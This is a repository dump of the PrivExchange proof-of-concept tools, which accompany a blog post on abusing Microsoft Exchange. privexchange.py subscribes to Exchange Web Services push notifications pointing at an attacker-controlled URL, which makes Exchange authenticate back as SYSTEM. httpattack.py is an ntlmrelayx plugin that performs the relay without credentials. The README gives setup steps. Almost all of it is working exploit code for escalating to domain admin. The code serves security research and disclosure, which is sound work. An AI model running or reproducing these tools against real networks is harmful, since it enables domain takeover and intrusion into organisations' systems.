├── .gitignore ├── LICENSE ├── README.md ├── httpattack.py ├── privexchange.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | *.egg-info 3 | dist/ 4 | *.pyc 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Dirk-jan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PrivExchange 2 | POC tools accompanying the blog [Abusing Exchange: One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/). 3 | 4 | ## Requirements 5 | These tools require [impacket](https://github.com/SecureAuthCorp/impacket). You can install it from pip with `pip install impacket`, but it is recommended to use the latest version from GitHub. 6 | 7 | ## privexchange.py 8 | This tool simply logs in on Exchange Web Services to subscribe to push notifications. This will make Exchange connect back to you and authenticate as system. 9 | 10 | ## httpattack.py 11 | Attack module that can be used with ntlmrelayx.py to perform the attack without credentials. To get it working: 12 | - Modify the attacker URL in `httpattack.py` to point to the attacker's server where ntlmrelayx will run 13 | - Clone impacket from GitHub `git clone https://github.com/SecureAuthCorp/impacket` 14 | - Copy this file into the `/impacket/impacket/examples/ntlmrelayx/attacks/` directory. 15 | - `cd impacket` 16 | - Install the modified version of impacket with `pip install . --upgrade` or `pip install -e .` -------------------------------------------------------------------------------- /httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import xml.etree.ElementTree as ET 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | from impacket import LOG 21 | 22 | # SOAP request for EWS 23 | # Source: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/subscribe-operation 24 | # Credits: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange 25 | POST_BODY = ''' 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | NewMailEvent 37 | ModifiedEvent 38 | MovedEvent 39 | 40 | 1 41 | %s 42 | 43 | 44 | 45 | 46 | ''' 47 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 48 | 49 | class HTTPAttack(ProtocolAttack): 50 | """ 51 | This is a modified HTTPAttack which triggers authentication from EWS 52 | """ 53 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 54 | def run(self): 55 | ews_url = "/EWS/Exchange.asmx" 56 | 57 | headers = {"Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} 58 | 59 | # Replace with your attacker url! 60 | attacker_url = 'http://dev.testsegment.local/myattackerurl/' 61 | 62 | self.client.request("POST", ews_url, POST_BODY % attacker_url, headers) 63 | res = self.client.getresponse() 64 | 65 | LOG.debug('HTTP status: %d', res.status) 66 | body = res.read() 67 | LOG.debug('Body returned: %s', body) 68 | if res.status == 200: 69 | LOG.info('Exchange returned HTTP status 200 - authentication was OK') 70 | # Parse XML with ElementTree 71 | root = ET.fromstring(body) 72 | code = None 73 | for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'): 74 | code = response.text 75 | if not code: 76 | LOG.error('Could not find response code element in body: %s', body) 77 | return 78 | if code == 'NoError': 79 | LOG.info('API call was successful') 80 | elif code == 'ErrorMissingEmailAddress': 81 | LOG.error('The user you authenticated with does not have a mailbox associated. Try a different user.') 82 | else: 83 | LOG.error('Unknown error %s', code) 84 | for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'): 85 | LOG.error('Server returned: %s', errmsg.text) 86 | elif res.status == 401: 87 | LOG.error('Server returned HTTP status 401 - authentication failed') 88 | else: 89 | LOG.error('Server returned HTTP %d: %s', res.status, body) 90 | -------------------------------------------------------------------------------- /privexchange.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | #################### 4 | # 5 | # Copyright (c) 2019 Dirk-jan Mollema 6 | # 7 | # Minor fixes by @byt3bl33d3r 8 | # 9 | # Permission is hereby granted, free of charge, to any person obtaining a copy 10 | # of this software and associated documentation files (the "Software"), to deal 11 | # in the Software without restriction, including without limitation the rights 12 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | # copies of the Software, and to permit persons to whom the Software is 14 | # furnished to do so, subject to the following conditions: 15 | # 16 | # The above copyright notice and this permission notice shall be included in all 17 | # copies or substantial portions of the Software. 18 | # 19 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | # SOFTWARE. 26 | # 27 | #################### 28 | 29 | import ssl 30 | import argparse 31 | import logging 32 | import sys 33 | import getpass 34 | import base64 35 | import re 36 | import binascii 37 | import concurrent.futures 38 | import xml.etree.ElementTree as ET 39 | from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady 40 | from impacket import ntlm 41 | 42 | 43 | # SOAP request for EWS 44 | # Source: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/subscribe-operation 45 | # Credits: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange 46 | POST_BODY = ''' 47 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | NewMailEvent 58 | ModifiedEvent 59 | MovedEvent 60 | 61 | 1 62 | {} 63 | 64 | 65 | 66 | 67 | ''' 68 | 69 | EXCHANGE_VERSIONS = ["2010_SP1","2010_SP2","2013","2016"] 70 | 71 | def do_privexchange(host, attacker_url): 72 | # Init connection 73 | if not args.no_ssl: 74 | # HTTPS = default 75 | port = 443 if not args.exchange_port else int(args.exchange_port) 76 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 77 | uv_context.verify_mode = ssl.CERT_NONE 78 | session = HTTPSConnection(host, port, timeout=args.timeout, context=uv_context) 79 | else: 80 | # Otherwise: HTTP 81 | port = 80 if not args.exchange_port else int(args.exchange_port) 82 | session = HTTPConnection(host, port, timeout=args.timeout) 83 | 84 | # Use impacket for NTLM 85 | ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain) 86 | 87 | #Negotiate auth 88 | negotiate = base64.b64encode(ntlm_nego.getData()) 89 | # Headers 90 | # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py 91 | headers = { 92 | "Authorization": 'NTLM {}'.format(negotiate), 93 | "Content-type": "text/xml; charset=utf-8", 94 | "Accept": "text/xml", 95 | "User-Agent": "ExchangeServicesClient/0.0.0.0", 96 | "Translate": "F" 97 | } 98 | 99 | session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers) 100 | 101 | res = session.getresponse() 102 | res.read() 103 | 104 | # Copied from ntlmrelayx httpclient.py 105 | if res.status != 401: 106 | logging.info('Status code returned: {}. Authentication does not seem required for URL'.format(res.status)) 107 | try: 108 | if 'NTLM' not in res.getheader('WWW-Authenticate'): 109 | logging.error('NTLM Auth not offered by URL, offered protocols: {}'.format(res.getheader('WWW-Authenticate'))) 110 | return False 111 | except (KeyError, TypeError): 112 | logging.error('No authentication requested by the server for url {}'.format(ews_url)) 113 | return False 114 | 115 | logging.debug('Got 401, performing NTLM authentication') 116 | # Get negotiate data 117 | try: 118 | ntlm_challenge_b64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 119 | ntlm_challenge = base64.b64decode(ntlm_challenge_b64) 120 | except (IndexError, KeyError, AttributeError): 121 | logging.error('No NTLM challenge returned from server') 122 | return 123 | 124 | if args.hashes: 125 | lm_hash_h, nt_hash_h = args.hashes.split(':') 126 | # Convert to binary format 127 | lm_hash = binascii.unhexlify(lm_hash_h) 128 | nt_hash = binascii.unhexlify(nt_hash_h) 129 | args.password = '' 130 | else: 131 | nt_hash = '' 132 | lm_hash = '' 133 | 134 | ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash) 135 | auth = base64.b64encode(ntlm_auth.getData()) 136 | 137 | headers = { 138 | "Authorization": 'NTLM {}'.format(auth), 139 | "Content-type": "text/xml; charset=utf-8", 140 | "Accept": "text/xml", 141 | "User-Agent": "ExchangeServicesClient/0.0.0.0", 142 | "Translate": "F" 143 | } 144 | 145 | session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers) 146 | res = session.getresponse() 147 | 148 | logging.debug('HTTP status: {}'.format(res.status)) 149 | body = res.read() 150 | logging.debug('Body returned: {}'.format(body)) 151 | if res.status == 200: 152 | logging.info('Exchange returned HTTP status 200 - authentication was OK') 153 | # Parse XML with ElementTree 154 | root = ET.fromstring(body) 155 | code = None 156 | for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'): 157 | code = response.text 158 | if not code: 159 | logging.error('Could not find response code element in body: {}'.format(body)) 160 | return 161 | if code == 'NoError': 162 | logging.info('API call was successful') 163 | elif code == 'ErrorMissingEmailAddress': 164 | logging.error('The user you authenticated with does not have a mailbox associated. Try a different user.') 165 | else: 166 | logging.error('Unknown error {}'.format(code)) 167 | for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'): 168 | logging.error('Server returned: %s', errmsg.text) 169 | # Detect Exchange 2010 170 | for versioninfo in root.iter('{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo'): 171 | if int(versioninfo.get('MajorVersion')) == 14: 172 | logging.info('Exchange 2010 detected. This version is not vulnerable to PrivExchange.') 173 | elif res.status == 401: 174 | logging.error('Server returned HTTP status 401 - authentication failed') 175 | else: 176 | if res.status == 500: 177 | if 'ErrorInvalidServerVersion' in body: 178 | logging.error('Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version') 179 | return 180 | else: 181 | logging.error('Server returned HTTP {}: {}'.format(res.status, body)) 182 | 183 | if __name__ == '__main__': 184 | parser = argparse.ArgumentParser(description='Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx') 185 | parser.add_argument("hosts", nargs='+', type=str, metavar='HOSTNAME', help="Hostname(s)/ip(s) of the Exchange server") 186 | parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication") 187 | parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)") 188 | parser.add_argument("-t", "--timeout", default=10, type=int, metavar="TIMEOUT", help="HTTP(s) connection timeout (Default: 10 seconds)") 189 | parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied") 190 | parser.add_argument('--hashes', action='store', help='LM:NLTM hashes') 191 | parser.add_argument("--no-ssl", action='store_true', help="Don't use HTTPS (connects on port 80)") 192 | parser.add_argument("--exchange-port", help="Alternative EWS port (default: 443 or 80)") 193 | parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP") 194 | parser.add_argument("-ap", "--attacker-port", default=80, help="Port on which the relay attack runs (default: 80)") 195 | parser.add_argument("-ev", "--exchange-version", choices=EXCHANGE_VERSIONS, default="2013", help="Exchange dialect version (Default: 2013)") 196 | parser.add_argument("--attacker-page", default="/privexchange/", help="Page to request on attacker server (default: /privexchange/)") 197 | parser.add_argument("--debug", action='store_true', help='Enable debug output') 198 | args = parser.parse_args() 199 | 200 | ews_url = "/EWS/Exchange.asmx" 201 | 202 | # Init logging 203 | logger = logging.getLogger() 204 | logger.setLevel(logging.INFO) 205 | stream = logging.StreamHandler(sys.stderr) 206 | stream.setLevel(logging.DEBUG) 207 | formatter = logging.Formatter('%(levelname)s: %(message)s') 208 | stream.setFormatter(formatter) 209 | logger.addHandler(stream) 210 | 211 | # Should we log debug stuff? 212 | if args.debug is True: 213 | logger.setLevel(logging.DEBUG) 214 | 215 | if args.password is None and args.hashes is None: 216 | args.password = getpass.getpass() 217 | 218 | # Construct attacker url 219 | attacker_url = 'http://{}{}'.format(args.attacker_host, args.attacker_page) 220 | if args.attacker_port != 80: 221 | attacker_url = 'http://{}:{}{}'.format(args.attacker_host, int(args.attacker_port), args.attacker_page) 222 | 223 | logging.info('Using attacker URL: {}'.format(attacker_url)) 224 | 225 | with concurrent.futures.ThreadPoolExecutor(max_workers=len(args.hosts)) as executor: 226 | tasks = {executor.submit(do_privexchange, host, attacker_url): host for host in args.hosts} 227 | 228 | for future in concurrent.futures.as_completed(tasks): 229 | url = tasks[future] 230 | try: 231 | future.result() 232 | except Exception as e: 233 | logging.error("Got exception for host {}: {}".format(url, e)) 234 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | -i https://pypi.org/simple 2 | cffi==1.13.1 3 | click==7.0 4 | cryptography==2.8 5 | dnspython==1.16.0 6 | flask==1.1.1 7 | future==0.18.1 8 | impacket==0.9.20 9 | itsdangerous==1.1.0 10 | jinja2==2.10.3 11 | ldap3==2.5.1 12 | ldapdomaindump==0.9.1 13 | markupsafe==1.1.1 14 | pyasn1==0.4.7 15 | pycparser==2.19 16 | pycryptodomex==3.9.0 17 | pyopenssl==19.0.0 18 | six==1.12.0 19 | werkzeug==0.16.0 20 | --------------------------------------------------------------------------------